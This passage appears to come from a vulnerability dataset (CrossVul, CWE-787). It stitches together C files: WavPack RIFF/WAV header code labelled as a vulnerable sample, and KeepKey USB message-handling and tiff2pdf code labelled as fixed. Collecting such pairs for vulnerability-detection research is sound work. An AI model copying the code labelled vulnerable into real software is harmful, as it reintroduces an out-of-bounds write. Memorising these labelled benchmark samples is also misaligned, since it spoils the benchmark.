(WaveHeader.ChannelMask && (config->channel_mask || (config->qmode & QMODE_CHANS_UNASSIGNED))) { error_line ("this WAV file already has channel order information!"); return WAVPACK_SOFT_ERROR; } else if (WaveHeader.ChannelMask) config->channel_mask = WaveHeader.ChannelMask; if (format == 3) config->float_norm_exp = 127; else if ((config->qmode & QMODE_ADOBE_MODE) && WaveHeader.BlockAlign / WaveHeader.NumChannels == 4) { if (WaveHeader.BitsPerSample == 24) config->float_norm_exp = 127 + 23; else if (WaveHeader.BitsPerSample == 32) config->float_norm_exp = 127 + 15; } if (debug_logging_mode) { if (config->float_norm_exp == 127) error_line ("data format: normalized 32-bit floating point"); else if (config->float_norm_exp) error_line ("data format: 32-bit floating point (Audition %d:%d float type 1)", config->float_norm_exp - 126, 150 - config->float_norm_exp); else error_line ("data format: %d-bit integers stored in %d byte(s)", config->bits_per_sample, WaveHeader.BlockAlign / WaveHeader.NumChannels); } } else if (!strncmp (chunk_header.ckID, "data", 4)) { // on the data chunk, get size and exit loop int64_t data_chunk_size = (got_ds64 && chunk_header.ckSize == (uint32_t) -1) ? ds64_chunk.dataSize64 : chunk_header.ckSize; if (!WaveHeader.NumChannels || (is_rf64 && !got_ds64)) { // make sure we saw "fmt" and "ds64" chunks (if required) error_line ("%s is not a valid .WAV file!", infilename); return WAVPACK_SOFT_ERROR; } if (infilesize && !(config->qmode & QMODE_IGNORE_LENGTH) && infilesize - data_chunk_size > 16777216) { error_line ("this .WAV file has over 16 MB of extra RIFF data, probably is corrupt!"); return WAVPACK_SOFT_ERROR; } if (config->qmode & QMODE_IGNORE_LENGTH) { if (infilesize && DoGetFilePosition (infile) != -1) total_samples = (infilesize - DoGetFilePosition (infile)) / WaveHeader.BlockAlign; else total_samples = -1; } else { total_samples = data_chunk_size / WaveHeader.BlockAlign; if (got_ds64 && total_samples != ds64_chunk.sampleCount64) { error_line ("%s is not a valid .WAV file!", infilename); return WAVPACK_SOFT_ERROR; } if (!total_samples) { error_line ("this .WAV file has no audio samples, probably is corrupt!"); return WAVPACK_SOFT_ERROR; } if (total_samples > MAX_WAVPACK_SAMPLES) { error_line ("%s has too many samples for WavPack!", infilename); return WAVPACK_SOFT_ERROR; } } config->bytes_per_sample = WaveHeader.BlockAlign / WaveHeader.NumChannels; config->num_channels = WaveHeader.NumChannels; config->sample_rate = WaveHeader.SampleRate; break; } else { // just copy unknown chunks to output file int bytes_to_copy = (chunk_header.ckSize + 1) & ~1L; char *buff = malloc (bytes_to_copy); if (debug_logging_mode) error_line ("extra unknown chunk \"%c%c%c%c\" of %d bytes", chunk_header.ckID [0], chunk_header.ckID [1], chunk_header.ckID [2], chunk_header.ckID [3], chunk_header.ckSize); if (!DoReadFile (infile, buff, bytes_to_copy, &bcount) || bcount != bytes_to_copy || (!(config->qmode & QMODE_NO_STORE_WRAPPER) && !WavpackAddWrapper (wpc, buff, bytes_to_copy))) { error_line ("%s", WavpackGetErrorMessage (wpc)); free (buff); return WAVPACK_SOFT_ERROR; } free (buff); } } if (!WavpackSetConfiguration64 (wpc, config, total_samples, NULL)) { error_line ("%s: %s", infilename, WavpackGetErrorMessage (wpc)); return WAVPACK_SOFT_ERROR; } return WAVPACK_NO_ERROR; } int WriteRiffHeader (FILE *outfile, WavpackContext *wpc, int64_t total_samples, int qmode) { int do_rf64 = 0, write_junk = 1, table_length = 0; ChunkHeader ds64hdr, datahdr, fmthdr; RiffChunkHeader riffhdr; DS64Chunk ds64_chunk; CS64Chunk cs64_chunk; JunkChunk junkchunk; WaveHeader wavhdr; uint32_t bcount; int64_t total_data_bytes, total_riff_bytes; int num_channels = WavpackGetNumChannels (wpc); int32_t channel_mask = WavpackGetChannelMask (wpc); int32_t sample_rate = WavpackGetSampleRate (wpc); int bytes_per_sample = WavpackGetBytesPerSample (wpc); int bits_per_sample = WavpackGetBitsPerSample (wpc); int format = WavpackGetFloatNormExp (wpc) ? 3 : 1; int wavhdrsize = 16; if (format == 3 && WavpackGetFloatNormExp (wpc) != 127) { error_line ("can't create valid RIFF wav header for non-normalized floating data!"); return FALSE; } if (total_samples == -1) total_samples = 0x7ffff000 / (bytes_per_sample * num_channels); total_data_bytes = total_samples * bytes_per_sample * num_channels; if (total_data_bytes > 0xff000000) { if (debug_logging_mode) error_line ("total_data_bytes = %lld, so rf64", total_data_bytes); write_junk = 0; do_rf64 = 1; } else if (debug_logging_mode) error_line ("total_data_bytes = %lld, so riff", total_data_bytes); CLEAR (wavhdr); wavhdr.FormatTag = format; wavhdr.NumChannels = num_channels; wavhdr.SampleRate = sample_rate; wavhdr.BytesPerSecond = sample_rate * num_channels * bytes_per_sample; wavhdr.BlockAlign = bytes_per_sample * num_channels; wavhdr.BitsPerSample = bits_per_sample; if (num_channels > 2 || channel_mask != 0x5 - num_channels) { wavhdrsize = sizeof (wavhdr); wavhdr.cbSize = 22; wavhdr.ValidBitsPerSample = bits_per_sample; wavhdr.SubFormat = format; wavhdr.ChannelMask = channel_mask; wavhdr.FormatTag = 0xfffe; wavhdr.BitsPerSample = bytes_per_sample * 8; wavhdr.GUID [4] = 0x10; wavhdr.GUID [6] = 0x80; wavhdr.GUID [9] = 0xaa; wavhdr.GUID [11] = 0x38; wavhdr.GUID [12] = 0x9b; wavhdr.GUID [13] = 0x71; } strncpy (riffhdr.ckID, do_rf64 ? "RF64" : "RIFF", sizeof (riffhdr.ckID)); strncpy (riffhdr.formType, "WAVE", sizeof (riffhdr.formType)); total_riff_bytes = sizeof (riffhdr) + wavhdrsize + sizeof (datahdr) + ((total_data_bytes + 1) & ~(int64_t)1); if (do_rf64) total_riff_bytes += sizeof (ds64hdr) + sizeof (ds64_chunk); total_riff_bytes += table_length * sizeof (CS64Chunk); if (write_junk) total_riff_bytes += sizeof (junkchunk); strncpy (fmthdr.ckID, "fmt ", sizeof (fmthdr.ckID)); strncpy (datahdr.ckID, "data", sizeof (datahdr.ckID)); fmthdr.ckSize = wavhdrsize; if (write_junk) { CLEAR (junkchunk); strncpy (junkchunk.ckID, "junk", sizeof (junkchunk.ckID)); junkchunk.ckSize = sizeof (junkchunk) - 8; WavpackNativeToLittleEndian (&junkchunk, ChunkHeaderFormat); } if (do_rf64) { strncpy (ds64hdr.ckID, "ds64", sizeof (ds64hdr.ckID)); ds64hdr.ckSize = sizeof (ds64_chunk) + (table_length * sizeof (CS64Chunk)); CLEAR (ds64_chunk); ds64_chunk.riffSize64 = total_riff_bytes; ds64_chunk.dataSize64 = total_data_bytes; ds64_chunk.sampleCount64 = total_samples; ds64_chunk.tableLength = table_length; riffhdr.ckSize = (uint32_t) -1; datahdr.ckSize = (uint32_t) -1; WavpackNativeToLittleEndian (&ds64hdr, ChunkHeaderFormat); WavpackNativeToLittleEndian (&ds64_chunk, DS64ChunkFormat); } else { riffhdr.ckSize = (uint32_t) total_riff_bytes; datahdr.ckSize = (uint32_t) total_data_bytes; } // this "table" is just a dummy placeholder for testing (normally not written) if (table_length) { strncpy (cs64_chunk.ckID, "dmmy", sizeof (cs64_chunk.ckID)); cs64_chunk.chunkSize64 = 12345678; WavpackNativeToLittleEndian (&cs64_chunk, CS64ChunkFormat); } // write the RIFF chunks up to just before the data starts WavpackNativeToLittleEndian (&riffhdr, ChunkHeaderFormat); WavpackNativeToLittleEndian (&fmthdr, ChunkHeaderFormat); WavpackNativeToLittleEndian (&wavhdr, WaveHeaderFormat); WavpackNativeToLittleEndian (&datahdr, ChunkHeaderFormat); if (!DoWriteFile (outfile, &riffhdr, sizeof (riffhdr), &bcount) || bcount != sizeof (riffhdr) || (do_rf64 && (!DoWriteFile (outfile, &ds64hdr, sizeof (ds64hdr), &bcount) || bcount != sizeof (ds64hdr))) || (do_rf64 && (!DoWriteFile (outfile, &ds64_chunk, sizeof (ds64_chunk), &bcount) || bcount != sizeof (ds64_chunk)))) { error_line ("can't write .WAV data, disk probably full!"); return FALSE; } // again, this is normally not written except for testing while (table_length--) if (!DoWriteFile (outfile, &cs64_chunk, sizeof (cs64_chunk), &bcount) || bcount != sizeof (cs64_chunk)) { error_line ("can't write .WAV data, disk probably full!"); return FALSE; } if ((write_junk && (!DoWriteFile (outfile, &junkchunk, sizeof (junkchunk), &bcount) || bcount != sizeof (junkchunk))) || !DoWriteFile (outfile, &fmthdr, sizeof (fmthdr), &bcount) || bcount != sizeof (fmthdr) || !DoWriteFile (outfile, &wavhdr, wavhdrsize, &bcount) || bcount != wavhdrsize || !DoWriteFile (outfile, &datahdr, sizeof (datahdr), &bcount) || bcount != sizeof (datahdr)) { error_line ("can't write .WAV data, disk probably full!"); return FALSE; } return TRUE; }
./CrossVul/dataset_final_sorted/CWE-787/c/bad_96_1
crossvul-cpp_data_good_1209_0
/* * This file is part of the KeepKey project. * * Copyright (C) 2015 KeepKey LLC * * This library is free software: you can redistribute it and/or modify * it under the terms of the GNU Lesser General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with this library. If not, see <http://www.gnu.org/licenses/>. */ #include "keepkey/board/usb.h" #include "keepkey/board/messages.h" #include "keepkey/board/variant.h" #include "keepkey/board/timer.h" #include "keepkey/board/layout.h" #include "keepkey/board/util.h" #include <nanopb.h> #include <assert.h> #include <string.h> static const MessagesMap_t *MessagesMap = NULL; static size_t map_size = 0; static msg_failure_t msg_failure; #if DEBUG_LINK static msg_debug_link_get_state_t msg_debug_link_get_state; #endif /* Allow mapped messages to reset message stack. This variable by itself doesn't * do much but messages down the line can use it to determine for to gracefully * exit from a message should the message stack been reset */ bool reset_msg_stack = false; /* * message_map_entry() - Finds a requested message map entry * * INPUT * - type: type of message (normal or debug) * - msg_id: message id * - dir: direction of message * OUTPUT * entry if found */ static const MessagesMap_t *message_map_entry(MessageMapType type, MessageType msg_id, MessageMapDirection dir) { const MessagesMap_t *m = MessagesMap; if (map_size > msg_id && m[msg_id].msg_id == msg_id && m[msg_id].type == type && m[msg_id].dir == dir) { return &m[msg_id]; } return NULL; } /* * message_fields() - Get protocol buffer for requested message map entry * * INPUT * - type: type of message (normal or debug) * - msg_id: message id * - dir: direction of message * OUTPUT * protocol buffer */ const pb_field_t *message_fields(MessageMapType type, MessageType msg_id, MessageMapDirection dir) { assert(MessagesMap != NULL); const MessagesMap_t *m = MessagesMap; if(map_size > msg_id && m[msg_id].msg_id == msg_id && m[msg_id].type == type && m[msg_id].dir == dir) { return m[msg_id].fields; } return NULL; } /* * pb_parse() - Process USB message by protocol buffer * * INPUT * - entry: pointer to message entry * - msg: pointer to received message buffer * - msg_size: size of message * - buf: pointer to destination buffer * OUTPUT * true/false whether protocol buffers were parsed successfully */ static bool pb_parse(const MessagesMap_t *entry, uint8_t *msg, uint32_t msg_size, uint8_t *buf) { pb_istream_t stream = pb_istream_from_buffer(msg, msg_size); return pb_decode(&stream, entry->fields, buf); } /* * dispatch() - Process received message and jump to corresponding process function * * INPUT * - entry: pointer to message entry * - msg: pointer to received message buffer * - msg_size: size of message * OUTPUT * none * */ static void dispatch(const MessagesMap_t *entry, uint8_t *msg, uint32_t msg_size) { static uint8_t decode_buffer[MAX_DECODE_SIZE] __attribute__((aligned(4))); memset(decode_buffer, 0, sizeof(decode_buffer)); if (!pb_parse(entry, msg, msg_size, decode_buffer)) { (*msg_failure)(FailureType_Failure_UnexpectedMessage, "Could not parse protocol buffer message"); return; } if (!entry->process_func) { (*msg_failure)(FailureType_Failure_UnexpectedMessage, "Unexpected message"); return; } entry->process_func(decode_buffer); } /* * raw_dispatch() - Process messages that will not be parsed by protocol buffers * and should be manually parsed at message function * * INPUT * - entry: pointer to message entry * - msg: pointer to received message buffer * - msg_size: size of message * - frame_length: total expected size * OUTPUT * none */ static void raw_dispatch(const MessagesMap_t *entry, const uint8_t *msg, uint32_t msg_size, uint32_t frame_length) { static RawMessage raw_msg; raw_msg.buffer = msg; raw_msg.length = msg_size; if(entry->process_func) { ((raw_msg_handler_t)entry->process_func)(&raw_msg, frame_length); } } #if !defined(__has_builtin) # define __has_builtin(X) 0 #endif #if __has_builtin(__builtin_add_overflow) # define check_uadd_overflow(A, B, R) \ ({ \ typeof(A) __a = (A); \ typeof(B) __b = (B); \ typeof(R) __r = (R); \ (void)(&__a == &__b && "types must match"); \ (void)(&__a == __r && "types must match"); \ _Static_assert(0 < (typeof(A))-1, "types must be unsigned"); \ __builtin_add_overflow((A), (B), (R)); \ }) #else # define check_uadd_overflow(A, B, R) \ ({ \ typeof(A) __a = (A); \ typeof(B) __b = (B); \ typeof(R) __r = (R); \ (void)(&__a == &__b); \ (void)(&__a == __r); \ (void)(&__a == &__b && "types must match"); \ (void)(&__a == __r && "types must match"); \ _Static_assert(0 < (typeof(A))-1, "types must be unsigned"); \ *__r = __a + __b; \ *__r < __a; \ }) #endif /// Common helper that handles USB messages from host void usb_rx_helper(const uint8_t *buf, size_t length, MessageMapType type) { static bool firstFrame = true; static uint16_t msgId; static uint32_t msgSize; static uint8_t msg[MAX_FRAME_SIZE]; static size_t cursor; //< Index into msg where the current frame is to be written. static const MessagesMap_t *entry; if (firstFrame) { msgId = 0xffff; msgSize = 0; memset(msg, 0, sizeof(msg)); cursor = 0; entry = NULL; } assert(buf != NULL); if (length < 1 + 2 + 2 + 4) { (*msg_failure)(FailureType_Failure_UnexpectedMessage, "Buffer too small"); goto reset; } if (buf[0] != '?') { (*msg_failure)(FailureType_Failure_UnexpectedMessage, "Malformed packet"); goto reset; } if (firstFrame && (buf[1] != '#' || buf[2] != '#')) { (*msg_failure)(FailureType_Failure_UnexpectedMessage, "Malformed packet"); goto reset; } // Details of the chunk being copied out of the current frame. const uint8_t *frame; size_t frameSize; if (firstFrame) { // Reset the buffer that we're writing fragments into. memset(msg, 0, sizeof(msg)); // Then fish out the id / size, which are big-endian uint16 / // uint32's respectively. msgId = buf[4] | ((uint16_t)buf[3]) << 8; msgSize = buf[8] | ((uint32_t)buf[7]) << 8 | ((uint32_t)buf[6]) << 16 | ((uint32_t)buf[5]) << 24; // Determine callback handler and message map type. entry = message_map_entry(type, msgId, IN_MSG); // And reset the cursor. cursor = 0; // Then take note of the fragment boundaries. frame = &buf[9]; frameSize = MIN(length - 9, msgSize); } else { // Otherwise it's a continuation/fragment. frame = &buf[1]; frameSize = length - 1; } // If the msgId wasn't in our map, bail. if (!entry) { (*msg_failure)(FailureType_Failure_UnexpectedMessage, "Unknown message"); goto reset; } if (entry->dispatch == RAW) { /* Call dispatch for every segment since we are not buffering and parsing, and * assume the raw dispatched callbacks will handle their own state and * buffering internally */ raw_dispatch(entry, frame, frameSize, msgSize); firstFrame = false; return; } size_t end; if (check_uadd_overflow(cursor, frameSize, &end) || sizeof(msg) < end) { (*msg_failure)(FailureType_Failure_UnexpectedMessage, "Malformed message"); goto reset; } // Copy content to frame buffer. memcpy(&msg[cursor], frame, frameSize); // Advance the cursor. cursor = end; // Only parse and message map if all segments have been buffered. bool last_segment = cursor >= msgSize; if (!last_segment) { firstFrame = false; return; } dispatch(entry, msg, msgSize); reset: msgId = 0xffff; msgSize = 0; memset(msg, 0, sizeof(msg)); cursor = 0; firstFrame = true; entry = NULL; } /* Tiny messages */ static bool msg_tiny_flag = false; static CONFIDENTIAL uint8_t msg_tiny[MSG_TINY_BFR_SZ]; static uint16_t msg_tiny_id = MSG_TINY_TYPE_ERROR; /* Default to error type */ _Static_assert(sizeof(msg_tiny) >= sizeof(Cancel), "msg_tiny too tiny"); _Static_assert(sizeof(msg_tiny) >= sizeof(Initialize), "msg_tiny too tiny"); _Static_assert(sizeof(msg_tiny) >= sizeof(PassphraseAck), "msg_tiny too tiny"); _Static_assert(sizeof(msg_tiny) >= sizeof(ButtonAck), "msg_tiny too tiny"); _Static_assert(sizeof(msg_tiny) >= sizeof(PinMatrixAck), "msg_tiny too tiny"); #if DEBUG_LINK _Static_assert(sizeof(msg_tiny) >= sizeof(DebugLinkDecision), "msg_tiny too tiny"); _Static_assert(sizeof(msg_tiny) >= sizeof(DebugLinkGetState), "msg_tiny too tiny"); #endif static void msg_read_tiny(const uint8_t *msg, size_t len) { if (len != 64) return; uint8_t buf[64]; memcpy(buf, msg, sizeof(buf)); if (buf[0] != '?' || buf[1] != '#' || buf[2] != '#') { (*msg_failure)(FailureType_Failure_UnexpectedMessage, "Malformed tiny packet"); return; } uint16_t msgId = buf[4] | ((uint16_t)buf[3]) << 8; uint32_t msgSize = buf[8] | ((uint32_t)buf[7]) << 8 | ((uint32_t)buf[6]) << 16 | ((uint32_t)buf[5]) << 24; if (msgSize > 64 - 9) { (*msg_failure)(FailureType_Failure_UnexpectedMessage, "Malformed tiny packet"); return; } const pb_field_t *fields = NULL; pb_istream_t stream = pb_istream_from_buffer(buf + 9, msgSize); switch (msgId) { case MessageType_MessageType_PinMatrixAck: fields = PinMatrixAck_fields; break; case MessageType_MessageType_ButtonAck: fields = ButtonAck_fields; break; case MessageType_MessageType_PassphraseAck: fields = PassphraseAck_fields; break; case MessageType_MessageType_Cancel: fields = Cancel_fields; break; case MessageType_MessageType_Initialize: fields = Initialize_fields; break; #if DEBUG_LINK case MessageType_MessageType_DebugLinkDecision: fields = DebugLinkDecision_fields; break; case MessageType_MessageType_DebugLinkGetState: fields = DebugLinkGetState_fields; break; #endif } if (fields) { bool status = pb_decode(&stream, fields, msg_tiny); if (status) { msg_tiny_id = msgId; } else { (*msg_failure)(FailureType_Failure_SyntaxError, stream.errmsg); msg_tiny_id = 0xffff; } } else { (*msg_failure)(FailureType_Failure_UnexpectedMessage, "Unknown message"); msg_tiny_id = 0xffff; } } void handle_usb_rx(const void *msg, size_t len) { if (msg_tiny_flag) { msg_read_tiny(msg, len); } else { usb_rx_helper(msg, len, NORMAL_MSG); } } #if DEBUG_LINK void handle_debug_usb_rx(const void *msg, size_t len) { if (msg_tiny_flag) { msg_read_tiny(msg, len); } else { usb_rx_helper(msg, len, DEBUG_MSG); } } #endif /* * tiny_msg_poll_and_buffer() - Poll usb port to check for tiny message from host * * INPUT * - block: flag to continually poll usb until tiny message is received * - buf: pointer to destination buffer * OUTPUT * message type * */ static MessageType tiny_msg_poll_and_buffer(bool block, uint8_t *buf) { msg_tiny_id = MSG_TINY_TYPE_ERROR; msg_tiny_flag = true; while(msg_tiny_id == MSG_TINY_TYPE_ERROR) { usbPoll(); if(!block) { break; } } msg_tiny_flag = false; if(msg_tiny_id != MSG_TINY_TYPE_ERROR) { memcpy(buf, msg_tiny, sizeof(msg_tiny)); } return msg_tiny_id; } /* * msg_map_init() - Setup message map with corresping message type * * INPUT * - map: pointer message map array * - size: size of message map * OUTPUT * */ void msg_map_init(const void *map, const size_t size) { assert(map != NULL); MessagesMap = map; map_size = size; } /* * set_msg_failure_handler() - Setup usb message failure handler * * INPUT * - failure_func: message failure handler * OUTPUT * none */ void set_msg_failure_handler(msg_failure_t failure_func) { msg_failure = failure_func; } /* * set_msg_debug_link_get_state_handler() - Setup usb message debug link get state handler * * INPUT * - debug_link_get_state_func: message initialization handler * OUTPUT * none */ #if DEBUG_LINK void set_msg_debug_link_get_state_handler(msg_debug_link_get_state_t debug_link_get_state_func) { msg_debug_link_get_state = debug_link_get_state_func; } #endif /* * call_msg_failure_handler() - Call message failure handler * * INPUT * - code: failure code * - text: pinter to function arguments * OUTPUT * none */ void call_msg_failure_handler(FailureType code, const char *text) { if(msg_failure) { (*msg_failure)(code, text); } } /* * call_msg_debug_link_get_state_handler() - Call message debug link get state handler * * INPUT * none * OUTPUT * none */ #if DEBUG_LINK void call_msg_debug_link_get_state_handler(DebugLinkGetState *msg) { if(msg_debug_link_get_state) { (*msg_debug_link_get_state)(msg); } } #endif /* * msg_init() - Setup usb receive callback handler * * INPUT * none * OUTPUT * none */ void msg_init(void) { usb_set_rx_callback(handle_usb_rx); #if DEBUG_LINK usb_set_debug_rx_callback(handle_debug_usb_rx); #endif } /* * wait_for_tiny_msg() - Wait for usb tiny message type from host * * INPUT * - buf: pointer to destination buffer * OUTPUT * message tiny type * */ MessageType wait_for_tiny_msg(uint8_t *buf) { return tiny_msg_poll_and_buffer(true, buf); } /* * check_for_tiny_msg() - Check for usb tiny message type from host * * INPUT * - buf: pointer to destination buffer * OUTPUT * message tiny type * */ MessageType check_for_tiny_msg(uint8_t *buf) { return tiny_msg_poll_and_buffer(false, buf); } /* * parse_pb_varint() - Parses varints off of raw messages * * INPUT * - msg: pointer to raw message * - varint_count: how many varints to remove * OUTPUT * bytes that were skipped */ uint32_t parse_pb_varint(RawMessage *msg, uint8_t varint_count) { uint32_t skip; uint8_t i; uint64_t pb_varint; pb_istream_t stream; /* * Parse varints */ stream = pb_istream_from_buffer((uint8_t*)msg->buffer, msg->length); skip = stream.bytes_left; for(i = 0; i < varint_count; ++i) { pb_decode_varint(&stream, &pb_varint); } skip = skip - stream.bytes_left; /* * Increment skip over message */ msg->length -= skip; msg->buffer = (uint8_t *)(msg->buffer + skip); return skip; } /* * encode_pb() - convert to raw pb data * * INPUT * - source_ptr : pointer to struct * - fields: pointer pb fields * - *buffer: pointer to destination buffer * - len: size of buffer * OUTPUT * bytes written to buffer */ int encode_pb(const void *source_ptr, const pb_field_t *fields, uint8_t *buffer, uint32_t len ) { pb_ostream_t os = pb_ostream_from_buffer(buffer, len); if (!pb_encode(&os, fields, source_ptr)) return 0; return os.bytes_written; }
./CrossVul/dataset_final_sorted/CWE-787/c/good_1209_0
crossvul-cpp_data_good_5479_3
/* $Id$ * * tiff2pdf - converts a TIFF image to a PDF document * * Copyright (c) 2003 Ross Finlayson * * Permission to use, copy, modify, distribute, and sell this software and * its documentation for any purpose is hereby granted without fee, provided * that (i) the above copyright notices and this permission notice appear in * all copies of the software and related documentation, and (ii) the name of * Ross Finlayson may not be used in any advertising or * publicity relating to the software without the specific, prior written * permission of Ross Finlayson. * * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. * * IN NO EVENT SHALL ROSS FINLAYSON BE LIABLE FOR * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND, * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE * OF THIS SOFTWARE. */ #include "tif_config.h" #include <stdio.h> #include <stdlib.h> #include <string.h> #include <ctype.h> #include <time.h> #include <errno.h> #include <limits.h> #if HAVE_UNISTD_H # include <unistd.h> #endif #ifdef HAVE_FCNTL_H # include <fcntl.h> #endif #ifdef HAVE_IO_H # include <io.h> #endif #ifdef NEED_LIBPORT # include "libport.h" #endif #include "tiffiop.h" #include "tiffio.h" #ifndef HAVE_GETOPT extern int getopt(int, char**, char*); #endif #ifndef EXIT_SUCCESS # define EXIT_SUCCESS 0 #endif #ifndef EXIT_FAILURE # define EXIT_FAILURE 1 #endif #define TIFF2PDF_MODULE "tiff2pdf" #define PS_UNIT_SIZE 72.0F /* This type is of PDF color spaces. */ typedef enum { T2P_CS_BILEVEL = 0x01, /* Bilevel, black and white */ T2P_CS_GRAY = 0x02, /* Single channel */ T2P_CS_RGB = 0x04, /* Three channel tristimulus RGB */ T2P_CS_CMYK = 0x08, /* Four channel CMYK print inkset */ T2P_CS_LAB = 0x10, /* Three channel L*a*b* color space */ T2P_CS_PALETTE = 0x1000,/* One of the above with a color map */ T2P_CS_CALGRAY = 0x20, /* Calibrated single channel */ T2P_CS_CALRGB = 0x40, /* Calibrated three channel tristimulus RGB */ T2P_CS_ICCBASED = 0x80 /* ICC profile color specification */ } t2p_cs_t; /* This type is of PDF compression types. */ typedef enum{ T2P_COMPRESS_NONE=0x00 #ifdef CCITT_SUPPORT , T2P_COMPRESS_G4=0x01 #endif #if defined(JPEG_SUPPORT) || defined(OJPEG_SUPPORT) , T2P_COMPRESS_JPEG=0x02 #endif #ifdef ZIP_SUPPORT , T2P_COMPRESS_ZIP=0x04 #endif } t2p_compress_t; /* This type is whether TIFF image data can be used in PDF without transcoding. */ typedef enum{ T2P_TRANSCODE_RAW=0x01, /* The raw data from the input can be used without recompressing */ T2P_TRANSCODE_ENCODE=0x02 /* The data from the input is perhaps unencoded and reencoded */ } t2p_transcode_t; /* This type is of information about the data samples of the input image. */ typedef enum{ T2P_SAMPLE_NOTHING=0x0000, /* The unencoded samples are normal for the output colorspace */ T2P_SAMPLE_ABGR_TO_RGB=0x0001, /* The unencoded samples are the result of ReadRGBAImage */ T2P_SAMPLE_RGBA_TO_RGB=0x0002, /* The unencoded samples are contiguous RGBA */ T2P_SAMPLE_RGBAA_TO_RGB=0x0004, /* The unencoded samples are RGBA with premultiplied alpha */ T2P_SAMPLE_YCBCR_TO_RGB=0x0008, T2P_SAMPLE_YCBCR_TO_LAB=0x0010, T2P_SAMPLE_REALIZE_PALETTE=0x0020, /* The unencoded samples are indexes into the color map */ T2P_SAMPLE_SIGNED_TO_UNSIGNED=0x0040, /* The unencoded samples are signed instead of unsignd */ T2P_SAMPLE_LAB_SIGNED_TO_UNSIGNED=0x0040, /* The L*a*b* samples have a* and b* signed */ T2P_SAMPLE_PLANAR_SEPARATE_TO_CONTIG=0x0100 /* The unencoded samples are separate instead of contiguous */ } t2p_sample_t; /* This type is of error status of the T2P struct. */ typedef enum{ T2P_ERR_OK = 0, /* This is the value of t2p->t2p_error when there is no error */ T2P_ERR_ERROR = 1 /* This is the value of t2p->t2p_error when there was an error */ } t2p_err_t; /* This struct defines a logical page of a TIFF. */ typedef struct { tdir_t page_directory; uint32 page_number; ttile_t page_tilecount; uint32 page_extra; } T2P_PAGE; /* This struct defines a PDF rectangle's coordinates. */ typedef struct { float x1; float y1; float x2; float y2; float mat[9]; } T2P_BOX; /* This struct defines a tile of a PDF. */ typedef struct { T2P_BOX tile_box; } T2P_TILE; /* This struct defines information about the tiles on a PDF page. */ typedef struct { ttile_t tiles_tilecount; uint32 tiles_tilewidth; uint32 tiles_tilelength; uint32 tiles_tilecountx; uint32 tiles_tilecounty; uint32 tiles_edgetilewidth; uint32 tiles_edgetilelength; T2P_TILE* tiles_tiles; } T2P_TILES; /* This struct is the context of a function to generate PDF from a TIFF. */ typedef struct { t2p_err_t t2p_error; T2P_PAGE* tiff_pages; T2P_TILES* tiff_tiles; tdir_t tiff_pagecount; uint16 tiff_compression; uint16 tiff_photometric; uint16 tiff_fillorder; uint16 tiff_bitspersample; uint16 tiff_samplesperpixel; uint16 tiff_planar; uint32 tiff_width; uint32 tiff_length; float tiff_xres; float tiff_yres; uint16 tiff_orientation; toff_t tiff_dataoffset; tsize_t tiff_datasize; uint16 tiff_resunit; uint16 pdf_centimeters; uint16 pdf_overrideres; uint16 pdf_overridepagesize; float pdf_defaultxres; float pdf_defaultyres; float pdf_xres; float pdf_yres; float pdf_defaultpagewidth; float pdf_defaultpagelength; float pdf_pagewidth; float pdf_pagelength; float pdf_imagewidth; float pdf_imagelength; int pdf_image_fillpage; /* 0 (default: no scaling, 1:scale imagesize to pagesize */ T2P_BOX pdf_mediabox; T2P_BOX pdf_imagebox; uint16 pdf_majorversion; uint16 pdf_minorversion; uint32 pdf_catalog; uint32 pdf_pages; uint32 pdf_info; uint32 pdf_palettecs; uint16 pdf_fitwindow; uint32 pdf_startxref; #define TIFF2PDF_FILEID_SIZE 33 char pdf_fileid[TIFF2PDF_FILEID_SIZE]; #define TIFF2PDF_DATETIME_SIZE 17 char pdf_datetime[TIFF2PDF_DATETIME_SIZE]; #define TIFF2PDF_CREATOR_SIZE 512 char pdf_creator[TIFF2PDF_CREATOR_SIZE]; #define TIFF2PDF_AUTHOR_SIZE 512 char pdf_author[TIFF2PDF_AUTHOR_SIZE]; #define TIFF2PDF_TITLE_SIZE 512 char pdf_title[TIFF2PDF_TITLE_SIZE]; #define TIFF2PDF_SUBJECT_SIZE 512 char pdf_subject[TIFF2PDF_SUBJECT_SIZE]; #define TIFF2PDF_KEYWORDS_SIZE 512 char pdf_keywords[TIFF2PDF_KEYWORDS_SIZE]; t2p_cs_t pdf_colorspace; uint16 pdf_colorspace_invert; uint16 pdf_switchdecode; uint16 pdf_palettesize; unsigned char* pdf_palette; int pdf_labrange[4]; t2p_compress_t pdf_defaultcompression; uint16 pdf_defaultcompressionquality; t2p_compress_t pdf_compression; uint16 pdf_compressionquality; uint16 pdf_nopassthrough; t2p_transcode_t pdf_transcode; t2p_sample_t pdf_sample; uint32* pdf_xrefoffsets; uint32 pdf_xrefcount; tdir_t pdf_page; #ifdef OJPEG_SUPPORT tdata_t pdf_ojpegdata; uint32 pdf_ojpegdatalength; uint32 pdf_ojpegiflength; #endif float tiff_whitechromaticities[2]; float tiff_primarychromaticities[6]; float tiff_referenceblackwhite[2]; float* tiff_transferfunction[3]; int pdf_image_interpolate; /* 0 (default) : do not interpolate, 1 : interpolate */ uint16 tiff_transferfunctioncount; uint32 pdf_icccs; uint32 tiff_iccprofilelength; tdata_t tiff_iccprofile; /* fields for custom read/write procedures */ FILE *outputfile; int outputdisable; tsize_t outputwritten; } T2P; /* These functions are called by main. */ void tiff2pdf_usage(void); int tiff2pdf_match_paper_size(float*, float*, char*); /* These functions are used to generate a PDF from a TIFF. */ #ifdef __cplusplus extern "C" { #endif T2P* t2p_init(void); void t2p_validate(T2P*); tsize_t t2p_write_pdf(T2P*, TIFF*, TIFF*); 